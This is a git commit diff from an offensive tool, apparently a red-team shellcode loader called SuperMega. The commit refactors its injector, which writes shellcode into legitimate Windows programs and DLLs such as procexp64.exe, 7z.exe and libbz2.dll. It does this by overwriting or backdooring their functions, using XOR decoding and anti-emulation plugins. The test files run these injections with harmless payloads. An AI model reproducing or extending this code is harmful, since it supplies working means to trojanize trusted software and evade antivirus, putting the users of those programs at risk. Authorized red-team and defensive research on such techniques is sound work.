refactor: injector (EOP -> overwrite)

This commit is contained in:
Dobin Rutishauser
2025-06-21 14:06:50 +02:00
parent 1db212de53
commit a782fd0842
7 changed files with 319 additions and 303 deletions
+1 -1
View File
@@ -189,7 +189,7 @@ def add_project():
settings.decoder_style = "xor_2" settings.decoder_style = "xor_2"
settings.carrier_name = "alloc_rw_rx" settings.carrier_name = "alloc_rw_rx"
settings.carrier_invoke_style = CarrierInvokeStyle.BackdoorCallInstr settings.carrier_invoke_style = CarrierInvokeStyle.BackdoorFunc
settings.payload_location = PayloadLocation.CODE settings.payload_location = PayloadLocation.CODE
settings.fix_missing_iat = True settings.fix_missing_iat = True
settings.plugin_antiemulation = "sirallocalot" settings.plugin_antiemulation = "sirallocalot"
+8 -12
View File
@@ -1,10 +1,13 @@
from enum import Enum from enum import Enum
import os import os
# FilePath type for better clarity in the code
class FilePath(str): class FilePath(str):
pass pass
# with data/shellcodes/createfile.bin
# for data/shellcodes/createfile.bin
VerifyFilename: FilePath = FilePath("C:\\Temp\\a") VerifyFilename: FilePath = FilePath("C:\\Temp\\a")
# Input Binary # Input Binary
@@ -23,19 +26,16 @@ PATH_VIRTUALPROTECT = "data/source/virtualprotect/"
PATH_WEB_PROJECT = "projects/" PATH_WEB_PROJECT = "projects/"
CODE_INJECT_SIZE_CHECK_ADD = 128
class PayloadLocation(Enum): class PayloadLocation(Enum):
CODE = ".text" CODE = ".text"
DATA = ".rdata" DATA = ".rdata"
class CarrierInvokeStyle(Enum): class CarrierInvokeStyle(Enum):
ChangeEntryPoint = "change EntryPoint" OverwriteFunc = "Overwrite Function"
BackdoorCallInstr = "backdoor Entrypoint" BackdoorFunc = "Backdoor Function"
class FunctionInvokeStyle(Enum):
peb_walk = "peb_walk"
iat_reuse = "iat_reuse"
class PeRelocEntry(): class PeRelocEntry():
@@ -60,7 +60,3 @@ class IatEntry():
def __str__(self): def __str__(self):
return "IatEntry: dll_name: {} func_name: {} iat_vaddr: 0x{:X}".format( return "IatEntry: dll_name: {} func_name: {} iat_vaddr: 0x{:X}".format(
self.dll_name, self.func_name, self.iat_vaddr) self.dll_name, self.func_name, self.iat_vaddr)
CODE_INJECT_SIZE_CHECK_ADD = 128
+1 -1
View File
@@ -23,7 +23,7 @@ class Settings():
# Config # Config
self.carrier_name: str = "" self.carrier_name: str = ""
self.carrier_invoke_style: CarrierInvokeStyle = CarrierInvokeStyle.BackdoorCallInstr self.carrier_invoke_style: CarrierInvokeStyle = CarrierInvokeStyle.BackdoorFunc
self.decoder_style: str = "xor_2" self.decoder_style: str = "xor_2"
self.payload_location: PayloadLocation = PayloadLocation.DATA self.payload_location: PayloadLocation = PayloadLocation.DATA
self.short_call_patching: bool = False self.short_call_patching: bool = False
+1 -1
View File
@@ -400,7 +400,7 @@ class SuperPe():
# Add the difference to the section's pointer to raw data # Add the difference to the section's pointer to raw data
physical_address = section.PointerToRawData + virtual_offset physical_address = section.PointerToRawData + virtual_offset
return physical_address return physical_address
raise Exception("Cant translate VA to offset") raise Exception("Cant translate VA 0x{:X} to offset".format(virtual_address))
def write_pe_to_file(self, outfile: str): def write_pe_to_file(self, outfile: str):
+113 -101
View File
@@ -2,7 +2,7 @@ from helper import *
import logging import logging
import time import time
import logging import logging
from typing import Dict, List from typing import Dict, List, Tuple
from model.injectable import Injectable, DataReuseEntry, DataReuseReference from model.injectable import Injectable, DataReuseEntry, DataReuseReference
from pe.pehelper import * from pe.pehelper import *
@@ -44,76 +44,97 @@ class Injector():
self.payload_rva: int = 0 self.payload_rva: int = 0
self.carrier_rva: int = 0 self.carrier_rva: int = 0
self.init_addresses()
def init_addresses(self): # ┌───────────┬─────────────────────────────────────┬───────┐
if self.settings.payload_location == PayloadLocation.CODE: # │ ├────────┼────────┼───────────────────┤ │
#. text # │ │Carrier │ 1 Page │ Payload │ │
# ┌───────────┬─────────────────────────────────────┬───────┐ # │ ───────────────────────────────────┤ │
# │ ├───────────────────────────────────┤ │ # └────────────────────────────────────────────────┴───────┘
# │ │Carrier │ 1 Page │ Payload │ │ #
# │ ├────────┼────────┼───────────────────┤ │ # .text .rdata
# └────────────────────────────────────────────────────── # ─────────────────────────┐ ┌────────────────────────
# # │ │ │ │ │ │ │ │
# Payload is page aligned when used with dll_loader_change # │ │ carrier │ │ │ │payload │ │
# │ │ │ │ │ │ │ │
# └─────────┴─────────┴───────┘ └────────┴─────────┴───────┘
# carrier location # Backdoor
complete_size = len(self.carrier_shc) + 4096 + len(self.payload.payload_data) def get_random_data_payload_rva(self) -> int:
largest_gap = self.code_manager.find_holes(complete_size) complete_size = len(self.payload.payload_data)
if len(largest_gap) == 0: largest_gap = self.rdata_manager.find_holes(complete_size)
raise Exception('No hole found in code section to fit payload!') if len(largest_gap) == 0:
largest_gap_size = largest_gap[0][1] - largest_gap[0][0] raise Exception('No hole found in code section to fit payload!')
offset = int((largest_gap_size - complete_size) / 2) # centered in the .text section largest_gap_size = largest_gap[0][1] - largest_gap[0][0]
offset += largest_gap[0][0] offset = largest_gap[0][0]
self.carrier_rva = self.superpe.get_code_section().VirtualAddress + offset
# payload location: behind carrier + 1 page rdata_section = self.superpe.get_section_by_name(".rdata")
if self.settings.carrier_name == "dll_loader_change": if rdata_section == None:
self.payload_rva = self.carrier_rva + len(self.carrier_shc) + 4096 + 4096 raise Exception("No .rdata section found in PE file")
self.payload_rva = self.payload_rva & 0xFFFFF000 # page align self.rdata_manager.add_range(offset, offset+len(self.payload.payload_data))
else:
# no page align payload_rva = rdata_section.virt_addr + offset
self.payload_rva = self.carrier_rva + len(self.carrier_shc) + 4096 #self.payload_rva = payload_rva
return payload_rva
# Backdoor
def get_random_code_carrier_rva(self) -> int:
complete_size = len(self.carrier_shc)
largest_gap = self.code_manager.find_holes(complete_size)
if len(largest_gap) == 0:
raise Exception('No hole found in code section to fit payload!')
largest_gap_size = largest_gap[0][1] - largest_gap[0][0]
offset = int((largest_gap_size - complete_size) / 2) # centered in the .text section
offset += largest_gap[0][0]
carrier_rva = self.superpe.get_code_section().VirtualAddress + offset
return carrier_rva
# Backdoor
def get_random_carrier_and_payload_rva_in_code(self) -> Tuple[int, int]:
complete_size = len(self.carrier_shc) + 4096 + len(self.payload.payload_data)
largest_gap = self.code_manager.find_holes(complete_size)
if len(largest_gap) == 0:
raise Exception('No hole found in code section to fit payload!')
largest_gap_size = largest_gap[0][1] - largest_gap[0][0]
offset = int((largest_gap_size - complete_size) / 2) # centered in the .text section
offset += largest_gap[0][0]
carrier_rva = self.superpe.get_code_section().VirtualAddress + offset
# payload location: behind carrier + 1 page
if self.settings.carrier_name == "dll_loader_change":
payload_rva = carrier_rva + len(self.carrier_shc) + 4096 + 4096
payload_rva = payload_rva & 0xFFFFF000 # page align
else: else:
# .text .rdata # no page align
# ┌─────────┬─────────┬───────┐ ┌────────┬─────────┬───────┐ payload_rva = carrier_rva + len(self.carrier_shc) + 4096
# │ │ │ │ │ │ │ │
# │ │ carrier │ │ │ │payload │ │
# │ │ │ │ │ │ │ │
# └─────────┴─────────┴───────┘ └────────┴─────────┴───────┘
# carrier location return payload_rva, carrier_rva
complete_size = len(self.carrier_shc)
largest_gap = self.code_manager.find_holes(complete_size)
if len(largest_gap) == 0:
raise Exception('No hole found in code section to fit payload!')
largest_gap_size = largest_gap[0][1] - largest_gap[0][0]
offset = int((largest_gap_size - complete_size) / 2) # centered in the .text section
offset += largest_gap[0][0]
self.carrier_rva = self.superpe.get_code_section().VirtualAddress + offset
# payload location # Overwrite
complete_size = len(self.payload.payload_data) def get_func_carrier_and_payload_rva_in_code(self) -> Tuple[int, int]:
largest_gap = self.rdata_manager.find_holes(complete_size) func_addr = self.superpe.get_entrypoint()
if len(largest_gap) == 0:
raise Exception('No hole found in code section to fit payload!')
largest_gap_size = largest_gap[0][1] - largest_gap[0][0]
offset = largest_gap[0][0]
rdata_section = self.superpe.get_section_by_name(".rdata") carrier_rva = func_addr
if rdata_section == None: payload_rva = carrier_rva + len(self.carrier_shc)
raise Exception("No .rdata section found in PE file")
self.payload_rva = rdata_section.virt_addr + offset
self.rdata_manager.add_range(offset, offset+len(self.payload.payload_data))
return payload_rva, carrier_rva
# Overwrite
def get_func_code_carrier_rva(self) -> int:
func_addr = self.superpe.get_entrypoint()
carrier_rva = func_addr
return carrier_rva
## Inject ## Inject
def inject_exe(self): def inject_exe(self):
exe_in = self.settings.get_inject_exe_in() exe_in = self.settings.get_inject_exe_in()
exe_out = self.settings.get_inject_exe_out() exe_out = self.settings.get_inject_exe_out()
carrier_invoke_style: CarrierInvokeStyle = self.settings.carrier_invoke_style
logger.info("-[ Injecting Carrier into injectable".format()) logger.info("-[ Injecting Carrier into injectable".format())
logger.info(" Injectable: {} -> {}".format(exe_in, exe_out)) logger.info(" Injectable: {} -> {}".format(exe_in, exe_out))
@@ -125,58 +146,49 @@ class Injector():
carrier_shc_len = len(self.carrier_shc) carrier_shc_len = len(self.carrier_shc)
carrier_offset: int = 0 # file offset carrier_offset: int = 0 # file offset
# Special case: DLL exported function direct overwrite if self.settings.carrier_invoke_style == CarrierInvokeStyle.OverwriteFunc:
if self.superpe.is_dll() and self.settings.dllfunc != "" and carrier_invoke_style == CarrierInvokeStyle.ChangeEntryPoint: if self.settings.payload_location == PayloadLocation.CODE:
logger.info(" Inject DLL: Overwrite exported function {} with shellcode".format(self.settings.dllfunc)) # Carrier and Payload both in .text section in a function
rva = self.superpe.getExportEntryPoint(self.settings.dllfunc) self.payload_rva, self.carrier_rva = self.get_func_carrier_and_payload_rva_in_code()
elif self.settings.payload_location == PayloadLocation.DATA:
# Carrier in a function, Payload random in data section
self.carrier_rva = self.get_func_code_carrier_rva() ### BUGBUGBUG
self.payload_rva = self.get_random_data_payload_rva()
# Size and sanity checks # copy carrier shellcode into the code section (at func)
function_size = self.superpe.get_size_of_exported_function(self.settings.dllfunc)
if carrier_shc_len >= function_size:
logger.warning(" Oups, Shellcode larger than function {}: {} > {}. Continue anyway.".format(
self.settings.dllfunc, carrier_shc_len, function_size
))
# Inject
carrier_offset = self.superpe.get_offset_from_rva(rva)
logger.info(f'- Using DLL Export "{self.settings.dllfunc}" at RVA 0x{rva:X} offset 0x{carrier_offset:X} to overwrite')
self.superpe.pe.set_bytes_at_offset(carrier_offset, self.carrier_shc)
else: # EXE/DLL
carrier_offset = self.superpe.get_offset_from_rva(self.carrier_rva) carrier_offset = self.superpe.get_offset_from_rva(self.carrier_rva)
#logger.info("{} {}".format(self.carrier_rva, carrier_offset)) self.superpe.pe.set_bytes_at_offset(carrier_offset, self.carrier_shc)
logger.info(" Inject: Write Carrier to 0x{:X} (0x{:X})".format( logger.info(" Inject: Write Carrier to 0x{:X} (0x{:X})".format(
self.carrier_rva, carrier_offset)) self.carrier_rva, carrier_offset))
# Copy the carrier elif self.settings.carrier_invoke_style == CarrierInvokeStyle.BackdoorFunc:
if self.settings.payload_location == PayloadLocation.CODE:
# Carrier and Payload depend on each other (both are in .text)
self.payload_rva, self.carrier_rva = self.get_random_carrier_and_payload_rva_in_code()
elif self.settings.payload_location == PayloadLocation.DATA:
# Carrier and Payload are independent
self.payload_rva = self.get_random_data_payload_rva()
self.carrier_rva = self.get_random_code_carrier_rva()
# copy carrier shellcode into the code section
carrier_offset = self.superpe.get_offset_from_rva(self.carrier_rva)
self.superpe.pe.set_bytes_at_offset(carrier_offset, self.carrier_shc) self.superpe.pe.set_bytes_at_offset(carrier_offset, self.carrier_shc)
logger.info(" Inject: Write Carrier to 0x{:X} (0x{:X})".format(
self.carrier_rva, carrier_offset))
# rewire flow to the carrier # backdoor the function (usually main())
if self.superpe.is_dll() and self.settings.dllfunc != "": # DLL backdoor_func_addr: int = None
if carrier_invoke_style == CarrierInvokeStyle.ChangeEntryPoint: if self.settings.dllfunc == "":
# Handled above backdoor_func_addr = self.superpe.get_entrypoint()
raise Exception("We should not land here") else:
pass
elif carrier_invoke_style == CarrierInvokeStyle.BackdoorCallInstr: logger.info(" Backdoor function {} (0x{:X})".format(
addr = self.superpe.getExportEntryPoint(self.settings.dllfunc) self.settings.dllfunc, backdoor_func_addr))
logger.info(" Backdoor DLL {} (0x{:X})".format( self.function_backdoorer.backdoor_function(
self.settings.dllfunc, addr)) backdoor_func_addr, self.carrier_rva, carrier_shc_len)
self.function_backdoorer.backdoor_function(
addr, self.carrier_rva, carrier_shc_len)
else: # EXE
if carrier_invoke_style == CarrierInvokeStyle.ChangeEntryPoint:
logger.info(" Change Entry Point to 0x{:X}".format(
self.carrier_rva))
self.superpe.set_entrypoint(self.carrier_rva)
elif carrier_invoke_style == CarrierInvokeStyle.BackdoorCallInstr:
addr = self.superpe.get_entrypoint()
logger.info(" Backdoor function at entrypoint (0x{:X})".format(
addr))
self.function_backdoorer.backdoor_function(
addr, self.carrier_rva, carrier_shc_len)
# Make the injected carrier work, integrate it into the PE
self.injectable_write_iat_references() self.injectable_write_iat_references()
self.inject_and_reference_data() self.inject_and_reference_data()
+30 -24
View File
@@ -28,6 +28,10 @@ def main():
check_deps() check_deps()
settings = Settings("commandline") settings = Settings("commandline")
if not os.path.exists(settings.project_path):
logger.info("Creating project directory: {}".format(settings.project_path))
os.makedirs(settings.project_path)
parser = argparse.ArgumentParser(description='SuperMega shellcode loader') parser = argparse.ArgumentParser(description='SuperMega shellcode loader')
parser.add_argument('--shellcode', type=str, help='payload shellcode: data/binary/shellcodes/* (messagebox.bin, calc64.bin, ...)', default="calc64.bin") parser.add_argument('--shellcode', type=str, help='payload shellcode: data/binary/shellcodes/* (messagebox.bin, calc64.bin, ...)', default="calc64.bin")
parser.add_argument('--inject', type=str, help='which exe to inject into: data/binary/injectables/* (7z.exe, procexp64.exe, ...)', default="procexp64.exe") parser.add_argument('--inject', type=str, help='which exe to inject into: data/binary/injectables/* (7z.exe, procexp64.exe, ...)', default="procexp64.exe")
@@ -37,7 +41,9 @@ def main():
parser.add_argument('--guardrail', type=str, help='guardrails: Enable execution guardrails', default="none") parser.add_argument('--guardrail', type=str, help='guardrails: Enable execution guardrails', default="none")
parser.add_argument('--guardrail-key', type=str, help='guardrails: key', default="") parser.add_argument('--guardrail-key', type=str, help='guardrails: key', default="")
parser.add_argument('--guardrail-value', type=str, help='guardrails: value', default="") parser.add_argument('--guardrail-value', type=str, help='guardrails: value', default="")
parser.add_argument('--carrier_invoke', type=str, help='how carrier is started: \"backdoor\" to rewrite call instruction, \"eop\" for entry point', choices=["eop", "backdoor"], default="backdoor") parser.add_argument('--carrier_invoke', type=str, help='how carrier is started: \"backdoor\" to rewrite call instruction, \"overwrite\" to overwrite function', choices=["overwrite", "backdoor"], default="backdoor")
parser.add_argument('--dllfunc', type=str, help='The DLL function use for carrier_invoke', default="")
parser.add_argument('--payload_location', type=str, help='where to put the payload: "code" or "data"', choices=[".code", ".rdata"], default=".rdata" ) parser.add_argument('--payload_location', type=str, help='where to put the payload: "code" or "data"', choices=[".code", ".rdata"], default=".rdata" )
parser.add_argument('--no-fix-iat', action='store_true', help='Fix missing IAT entries in the infectable executable', default=False) parser.add_argument('--no-fix-iat', action='store_true', help='Fix missing IAT entries in the infectable executable', default=False)
parser.add_argument('--start', action='store_true', help='Start the infected executable at the end for testing') parser.add_argument('--start', action='store_true', help='Start the infected executable at the end for testing')
@@ -55,9 +61,8 @@ def main():
else: else:
setup_logging(logging.INFO) setup_logging(logging.INFO)
# IN: # IN: Shellcode: filename
# Shellcode: filename # IN: Inject: filename
# Inject: filename
settings.injectable_base = args.inject settings.injectable_base = args.inject
settings.payload_base = args.shellcode settings.payload_base = args.shellcode
@@ -66,32 +71,33 @@ def main():
settings.cleanup_files_on_start = not args.no_clean_at_start settings.cleanup_files_on_start = not args.no_clean_at_start
settings.cleanup_files_on_exit =not args.no_clean_at_exit settings.cleanup_files_on_exit =not args.no_clean_at_exit
# Settings # Misc
settings.fix_missing_iat = not args.no_fix_iat settings.fix_missing_iat = not args.no_fix_iat
if args.short_call_patching:
settings.short_call_patching = True
# Main 1
settings.decoder_style = args.decoder
settings.carrier_name = args.carrier
settings.plugin_antiemulation = args.antiemulation
# Main 2
if args.payload_location == ".code":
settings.payload_location = PayloadLocation.CODE
elif args.payload_location == ".rdata":
settings.payload_location = PayloadLocation.DATA
if args.carrier_invoke == "overwrite":
settings.carrier_invoke_style = CarrierInvokeStyle.OverwriteFunc
elif args.carrier_invoke == "backdoor":
settings.carrier_invoke_style = CarrierInvokeStyle.BackdoorFunc
# Plugins
if args.guardrail: if args.guardrail:
settings.plugin_guardrail = args.guardrail settings.plugin_guardrail = args.guardrail
settings.plugin_guardrail_data_key = args.guardrail_key settings.plugin_guardrail_data_key = args.guardrail_key
settings.plugin_guardrail_data_value = args.guardrail_value settings.plugin_guardrail_data_value = args.guardrail_value
settings.decoder_style = args.decoder # Start it
settings.carrier_name = args.carrier
if args.payload_location == ".code":
settings.payload_location = PayloadLocation.CODE
elif args.payload_location == ".rdata":
settings.payload_location = PayloadLocation.DATA
if args.short_call_patching:
settings.short_call_patching = True
if args.carrier_invoke == "eop":
settings.carrier_invoke_style = CarrierInvokeStyle.ChangeEntryPoint
elif args.carrier_invoke == "backdoor":
settings.carrier_invoke_style = CarrierInvokeStyle.BackdoorCallInstr
settings.plugin_antiemulation = args.antiemulation
if not os.path.exists(settings.project_path):
logger.info("Creating project directory: {}".format(settings.project_path))
os.makedirs(settings.project_path)
exit_code = start(settings) exit_code = start(settings)
exit(exit_code) exit(exit_code)
+165 -163
View File
@@ -32,12 +32,15 @@ def main():
match sys.argv[1]: match sys.argv[1]:
case "all": case "all":
test_common() test_common()
test_dll_loader()
test_exe_code()
test_exe_data() test_exe_data()
test_exe_code()
test_dll_code() test_dll_code()
test_dll_data() test_dll_data()
test_dll_loader()
case "common": case "common":
test_common() test_common()
case "dll_loader": case "dll_loader":
@@ -57,22 +60,21 @@ def main():
def test_common(): def test_common():
print("Testing: COMMON A") print("Testing: COMMON procexp64.exe, alloc_rw_rwx, PayloadLocation.DATA, BackdoorFunc")
settings = Settings("unittest") settings = Settings("unittest")
settings.injectable_base = "procexp64.exe" settings.injectable_base = "procexp64.exe"
settings.payload_base = "createfile.bin" settings.payload_base = "createfile.bin"
settings.payload_location = PayloadLocation.DATA
settings.carrier_name = "alloc_rw_rwx" # important (not rx)
settings.carrier_invoke_style = CarrierInvokeStyle.BackdoorFunc
settings.verify = True settings.verify = True
settings.try_start_final_infected_exe = False settings.try_start_final_infected_exe = False
settings.payload_location = PayloadLocation.CODE
settings.cleanup_files_on_exit = False settings.cleanup_files_on_exit = False
print("Test COMMON 1/6: plain") print("Test COMMON 1/6: plain")
settings.decoder_style = "plain" settings.decoder_style = "plain"
settings.carrier_name = "alloc_rw_rwx" # important (not rx)
settings.carrier_invoke_style = CarrierInvokeStyle.ChangeEntryPoint
if not start(settings): if not start(settings):
return return
@@ -86,8 +88,6 @@ def test_common():
if not start(settings): if not start(settings):
return return
print("Testing: COMMON B")
print("Test COMMON 4/6: +guardrail env") print("Test COMMON 4/6: +guardrail env")
settings.plugin_guardrail = "env" settings.plugin_guardrail = "env"
settings.plugin_guardrail_data_key = "VCIDEInstallDir" settings.plugin_guardrail_data_key = "VCIDEInstallDir"
@@ -106,6 +106,162 @@ def test_common():
return return
def test_exe_data():
print("Testing EXE: Payload in .data")
settings = Settings("unittest")
settings.payload_base = "createfile.bin"
settings.verify = True
settings.try_start_final_infected_exe = False
settings.payload_location = PayloadLocation.DATA
settings.carrier_name = "alloc_rw_rwx" # important (not rx)
# EXE: PROCEXP
settings.injectable_base = "procexp64.exe"
print("Test EXE DATA 1/8: procexp, overwrite-main")
settings.carrier_invoke_style = CarrierInvokeStyle.OverwriteFunc
if not start(settings):
return
print("Test EXE DATA 2/8: procexp, backdoor-main")
settings.carrier_invoke_style = CarrierInvokeStyle.BackdoorFunc
if not start(settings):
return
# EXE: 7Z
settings.injectable_base = "7z.exe"
print("Test EXE DATA 5/8: 7z, overwrite-main")
settings.carrier_invoke_style = CarrierInvokeStyle.OverwriteFunc
if not start(settings):
return
print("Test EXE DATA 6/4: 7z, backdoor-main")
settings.carrier_invoke_style = CarrierInvokeStyle.BackdoorFunc
if not start(settings):
return
def test_exe_code():
print("Testing: EXEs: Payload in .text")
settings = Settings("unittest")
settings.payload_base = "createfile.bin"
settings.verify = True
settings.try_start_final_infected_exe = False
settings.payload_location = PayloadLocation.CODE
settings.carrier_name = "alloc_rw_rwx" # important (not rx)
# EXE 7Z
settings.injectable_base = "7z.exe"
print("Test EXE CODE 1/8: 7z, overwrite-main")
settings.carrier_invoke_style = CarrierInvokeStyle.OverwriteFunc
if not start(settings):
return
print("Test EXE CODE 2/8: 7z, backdoor-main")
settings.carrier_name = "peb_walk"
settings.carrier_invoke_style = CarrierInvokeStyle.BackdoorFunc
if not start(settings):
return
# EXE procexp64.exe
settings.injectable_base = "procexp64.exe"
print("Test EXE CODE 5/8: procexp, overwrite-main")
settings.carrier_name = "alloc_rw_rwx"
settings.carrier_invoke_style = CarrierInvokeStyle.OverwriteFunc
if not start(settings):
return
print("Test EXE CODE 6/8: procexp, backdoor-main")
settings.carrier_name = "alloc_rw_rwx"
settings.carrier_invoke_style = CarrierInvokeStyle.BackdoorFunc
if not start(settings):
return
def test_dll_code():
print("Testing: DLLs code")
settings = Settings("unittest")
settings.injectable_base = "libbz2.dll"
settings.payload_base = "createfile.bin"
settings.verify = True
settings.try_start_final_infected_exe = False
settings.payload_location = PayloadLocation.CODE
print("Test DLL 1/4: libbz2.dll, peb-walk, overwrite-func dllMain (func=None)")
settings.carrier_name = "peb_walk"
settings.carrier_invoke_style = CarrierInvokeStyle.OverwriteFunc
if not start(settings):
return
print("Test DLL 2/4: libbz2.dll, peb-walk, hijack dllMain (func=None)")
settings.carrier_name = "peb_walk"
settings.carrier_invoke_style = CarrierInvokeStyle.BackdoorFunc
if not start(settings):
return
print("Test DLL 3/4: libbz2.dll, peb-walk, overwrite-func, func=BZ2_bzDecompress")
settings.dllfunc = "BZ2_bzDecompressInit"
settings.carrier_name = "peb_walk"
settings.carrier_invoke_style = CarrierInvokeStyle.OverwriteFunc
if not start(settings):
return
print("Test DLL 4/4: libbz2.dll, peb-walk, hijack main, func=BZ2_bzdopen")
settings.dllfunc = "BZ2_bzdopen"
settings.carrier_name = "peb_walk"
settings.carrier_invoke_style = CarrierInvokeStyle.BackdoorFunc
if not start(settings):
return
def test_dll_data():
print("Testing: DLLs data")
settings = Settings("unittest")
settings.injectable_base = "libbz2.dll"
settings.payload_base = "createfile.bin"
settings.verify = True
settings.try_start_final_infected_exe = False
settings.payload_location = PayloadLocation.DATA
settings.carrier_name = "peb_walk"
###########settings.fix_missing_iat = True
# func = ""
print("Test DLL 1/4: libbz2.dll, overwrite-dllMain")
settings.carrier_invoke_style = CarrierInvokeStyle.OverwriteFunc
if not start(settings):
return
print("Test DLL 1/4: libbz2.dll, backdoor-dllMain")
settings.carrier_invoke_style = CarrierInvokeStyle.BackdoorFunc
if not start(settings):
return
# func = "BZ2_bzDecompressInit"
settings.dllfunc = "BZ2_bzDecompressInit"
print("Test DLL 3/4: libbz2.dll, overwrite=BZ2_bzDecompress")
settings.carrier_invoke_style = CarrierInvokeStyle.OverwriteFunc
if not start(settings):
return
print("Test DLL 4/4: libbz2.dll, backdoor=BZ2_bzDecompress")
settings.carrier_invoke_style = CarrierInvokeStyle.BackdoorFunc
if not start(settings):
return
def test_dll_loader(): def test_dll_loader():
print("Testing: DLL Loader") print("Testing: DLL Loader")
settings = Settings("unittest") settings = Settings("unittest")
@@ -126,161 +282,7 @@ def test_dll_loader():
settings.carrier_name = "dll_loader_change" settings.carrier_name = "dll_loader_change"
if not start(settings): if not start(settings):
return return
def test_exe_code():
print("Testing: EXEs: Inject payload into .text")
settings = Settings("unittest")
settings.injectable_base = "7z.exe"
settings.payload_base = "createfile.bin"
settings.verify = True
settings.try_start_final_infected_exe = False
settings.payload_location = PayloadLocation.CODE
# 7z, peb-walk, change-entrypoint
print("Test EXE 1/4: 7z, peb-walk, change-entrypoint")
settings.carrier_name = "peb_walk"
settings.carrier_invoke_style = CarrierInvokeStyle.ChangeEntryPoint
if not start(settings):
return
# 7z, peb-walk, hijack
print("Test EXE 2/4: 7z, peb-walk, hijack main")
settings.carrier_name = "peb_walk"
settings.carrier_invoke_style = CarrierInvokeStyle.BackdoorCallInstr
if not start(settings):
return
settings.injectable_base = "procexp64.exe"
# procexp, iat-reuse, change-entrypoint
print("Test EXE 3/4: procexp, iat-reuse, change-entrypoint")
settings.carrier_name = "alloc_rw_rwx"
settings.carrier_invoke_style = CarrierInvokeStyle.ChangeEntryPoint
if not start(settings):
return
# procexp, iat-reuse, backdoor
print("Test EXE 4/4: procexp, iat-reuse, backdoor")
settings.carrier_name = "alloc_rw_rwx"
settings.carrier_invoke_style = CarrierInvokeStyle.BackdoorCallInstr
if not start(settings):
return
def test_exe_data():
print("Testing: EXEs: Inject into .data")
settings = Settings("unittest")
settings.injectable_base = "7z.exe"
settings.payload_base = "createfile.bin"
settings.verify = True
settings.try_start_final_infected_exe = False
settings.payload_location = PayloadLocation.DATA
# 7z, peb-walk, change-entrypoint
print("Test EXE 1/4: 7z, peb-walk, change-entrypoint")
settings.carrier_name = "peb_walk"
settings.carrier_invoke_style = CarrierInvokeStyle.ChangeEntryPoint
if not start(settings):
return
# 7z, peb-walk, hijack
print("Test EXE 2/4: 7z, peb-walk, hijack main")
settings.carrier_name = "peb_walk"
settings.carrier_invoke_style = CarrierInvokeStyle.BackdoorCallInstr
if not start(settings):
return
settings.injectable_base = "procexp64.exe"
# procexp, iat-reuse, change-entrypoint
print("Test EXE 3/4: procexp, iat-reuse, change-entrypoint")
settings.carrier_name = "alloc_rw_rwx"
settings.carrier_invoke_style = CarrierInvokeStyle.ChangeEntryPoint
if not start(settings):
return
# procexp, iat-reuse, backdoor
print("Test EXE 4/4: procexp, iat-reuse, backdoor")
settings.carrier_name = "alloc_rw_rwx"
settings.carrier_invoke_style = CarrierInvokeStyle.BackdoorCallInstr
if not start(settings):
return
def test_dll_code():
print("Testing: DLLs code")
settings = Settings("unittest")
settings.injectable_base = "libbz2.dll"
settings.payload_base = "createfile.bin"
settings.verify = True
settings.try_start_final_infected_exe = False
settings.payload_location = PayloadLocation.CODE
print("Test DLL 1/4: libbz2.dll, peb-walk, change-entrypoint dllMain (func=None)")
settings.carrier_name = "peb_walk"
settings.carrier_invoke_style = CarrierInvokeStyle.ChangeEntryPoint
if not start(settings):
return
print("Test DLL 2/4: libbz2.dll, peb-walk, hijack dllMain (func=None)")
settings.carrier_name = "peb_walk"
settings.carrier_invoke_style = CarrierInvokeStyle.BackdoorCallInstr
if not start(settings):
return
print("Test DLL 3/4: libbz2.dll, peb-walk, change-entrypoint, func=BZ2_bzDecompress")
settings.dllfunc = "BZ2_bzDecompress"
settings.carrier_name = "peb_walk"
settings.carrier_invoke_style = CarrierInvokeStyle.ChangeEntryPoint
if not start(settings):
return
print("Test DLL 4/4: libbz2.dll, peb-walk, hijack main, func=BZ2_bzdopen")
settings.dllfunc = "BZ2_bzdopen"
settings.carrier_name = "peb_walk"
settings.carrier_invoke_style = CarrierInvokeStyle.BackdoorCallInstr
if not start(settings):
return
def test_dll_data():
print("Testing: DLLs data")
settings = Settings("unittest")
settings.injectable_base = "libbz2.dll"
settings.payload_base = "createfile.bin"
settings.verify = True
settings.try_start_final_infected_exe = False
settings.payload_location = PayloadLocation.DATA
print("Test DLL 1/4: libbz2.dll, peb-walk, change-entrypoint dllMain (func=None)")
settings.carrier_name = "peb_walk"
settings.carrier_invoke_style = CarrierInvokeStyle.ChangeEntryPoint
if not start(settings):
return
print("Test DLL 2/4: libbz2.dll, peb-walk, hijack dllMain (func=None)")
settings.carrier_name = "peb_walk"
settings.carrier_invoke_style = CarrierInvokeStyle.BackdoorCallInstr
if not start(settings):
return
print("Test DLL 3/4: libbz2.dll, peb-walk, change-entrypoint, func=BZ2_bzDecompress")
settings.dllfunc = "BZ2_bzDecompress"
settings.carrier_name = "peb_walk"
settings.carrier_invoke_style = CarrierInvokeStyle.ChangeEntryPoint
if not start(settings):
return
print("Test DLL 4/4: libbz2.dll, peb-walk, hijack main, func=BZ2_bzdopen")
settings.dllfunc = "BZ2_bzdopen"
settings.carrier_name = "peb_walk"
settings.carrier_invoke_style = CarrierInvokeStyle.BackdoorCallInstr
if not start(settings):
return
if __name__ == "__main__": if __name__ == "__main__":
main() main()